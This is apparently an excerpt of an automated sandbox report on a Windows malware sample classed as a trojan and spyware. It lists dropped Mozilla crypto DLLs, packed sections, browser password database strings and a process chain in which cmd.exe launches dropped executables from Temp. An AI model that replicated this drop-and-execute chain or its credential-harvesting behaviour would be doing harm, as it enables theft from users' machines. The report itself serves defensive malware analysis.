Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7BED10	0_2_6C7BED10
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7C0512	0_2_6C7C0512
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7AFD00	0_2_6C7AFD00
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7F85F0	0_2_6C7F85F0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D0DD0	0_2_6C7D0DD0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79C670	0_2_6C79C670
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7B9E50	0_2_6C7B9E50
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D3E50	0_2_6C7D3E50
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7E2E4E	0_2_6C7E2E4E
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7B4640	0_2_6C7B4640
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7F9E30	0_2_6C7F9E30
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C8076E3	0_2_6C8076E3
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D7E10	0_2_6C7D7E10
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7E5600	0_2_6C7E5600
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79BEF0	0_2_6C79BEF0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7AFEF0	0_2_6C7AFEF0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7F4EA0	0_2_6C7F4EA0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C806E63	0_2_6C806E63
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7B5E90	0_2_6C7B5E90
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7FE680	0_2_6C7FE680
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D7710	0_2_6C7D7710
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7A9F00	0_2_6C7A9F00
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7C6FF0	0_2_6C7C6FF0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79DFE0	0_2_6C79DFE0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7E77A0	0_2_6C7E77A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7DF070	0_2_6C7DF070
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7B8850	0_2_6C7B8850
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7BD850	0_2_6C7BD850
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C8050C7	0_2_6C8050C7
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7DB820	0_2_6C7DB820
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7E4820	0_2_6C7E4820
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7A7810	0_2_6C7A7810
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7BC0E0	0_2_6C7BC0E0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D58E0	0_2_6C7D58E0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7C60A0	0_2_6C7C60A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7EB970	0_2_6C7EB970
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7AD960	0_2_6C7AD960
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7BA940	0_2_6C7BA940
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7CD9B0	0_2_6C7CD9B0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79C9A0	0_2_6C79C9A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D5190	0_2_6C7D5190
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7F2990	0_2_6C7F2990
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C80B170	0_2_6C80B170
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C80BA90	0_2_6C80BA90
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D9A60	0_2_6C7D9A60
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C802AB0	0_2_6C802AB0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7B1AF0	0_2_6C7B1AF0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7DE2F0	0_2_6C7DE2F0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D8AC0	0_2_6C7D8AC0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7ACAB0	0_2_6C7ACAB0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7922A0	0_2_6C7922A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7C4AA0	0_2_6C7C4AA0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7AC370	0_2_6C7AC370
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C795340	0_2_6C795340
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C8053C8	0_2_6C8053C8
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7DD320	0_2_6C7DD320
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79F380	0_2_6C79F380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F1E410	10_2_00F1E410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F14CD0	10_2_00F14CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F53048	10_2_00F53048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F47D63	10_2_00F47D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F56EE9	10_2_00F56EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F14AD0	10_2_00F14AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F5763B	10_2_00F5763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F52BB0	10_2_00F52BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F5775B	10_2_00F5775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00F58700	10_2_00F58700
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A0C3C	12_2_7F7A0C3C
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Code function: 12_2_7F7A0000	12_2_7F7A0000

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: String function: 6C7D94D0 appears 90 times
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: String function: 6C7CCBE8 appears 134 times

Source: Rnteb46TuM.exe, 00000000.00000002.2331631871.000000006CA15000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs Rnteb46TuM.exe
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUI vs Rnteb46TuM.exe
Source: Rnteb46TuM.exe, 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs Rnteb46TuM.exe

Source: Rnteb46TuM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Rnteb46TuM.exe	Static PE information: Section: ZLIB complexity 0.9994759908536586
Source: Rnteb46TuM.exe	Static PE information: Section: ZLIB complexity 0.9935302734375
Source: Rnteb46TuM.exe	Static PE information: Section: ZLIB complexity 0.9891357421875
Source: AFBFHDBKJE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982923497267759
Source: AFBFHDBKJE.exe.0.dr	Static PE information: Section: wcjrprme ZLIB complexity 0.9942531117384056
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982923497267759
Source: amadka[1].exe.0.dr	Static PE information: Section: wcjrprme ZLIB complexity 0.9942531117384056
Source: explorti.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9982923497267759
Source: explorti.exe.8.dr	Static PE information: Section: wcjrprme ZLIB complexity 0.9942531117384056
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.99359130859375
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9901123046875
Source: 6e6e496542.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: 6e6e496542.exe.10.dr	Static PE information: Section: ZLIB complexity 0.99359130859375
Source: 6e6e496542.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9901123046875

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/30@0/3

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Code function: 0_2_6C7F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C7F7030

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6764:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

File created: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Rnteb46TuM.exe, 00000000.00000002.2331455452.000000006C9CF000.00000002.00000001.01000000.00000007.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Rnteb46TuM.exe, 00000000.00000003.2184576548.0000000023068000.00000004.00000020.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000003.2170995547.0000000023074000.00000004.00000020.00020000.00000000.sdmp, GIIEGHIDBGHIECAAECGD.0.dr, JEBKECAFIDAFIECBKEHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: Rnteb46TuM.exe, 00000000.00000002.2330894053.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: Rnteb46TuM.exe	Virustotal: Detection: 82%
Source: Rnteb46TuM.exe	ReversingLabs: Detection: 91%

Source: AFBFHDBKJE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Rnteb46TuM.exe	String found in binary or memory: uy/AdD

Source: C:\Users\user\Desktop\Rnteb46TuM.exe

File read: C:\Users\user\Desktop\Rnteb46TuM.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Rnteb46TuM.exe "C:\Users\user\Desktop\Rnteb46TuM.exe"
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGHCBKFCF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe "C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe "C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe "C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
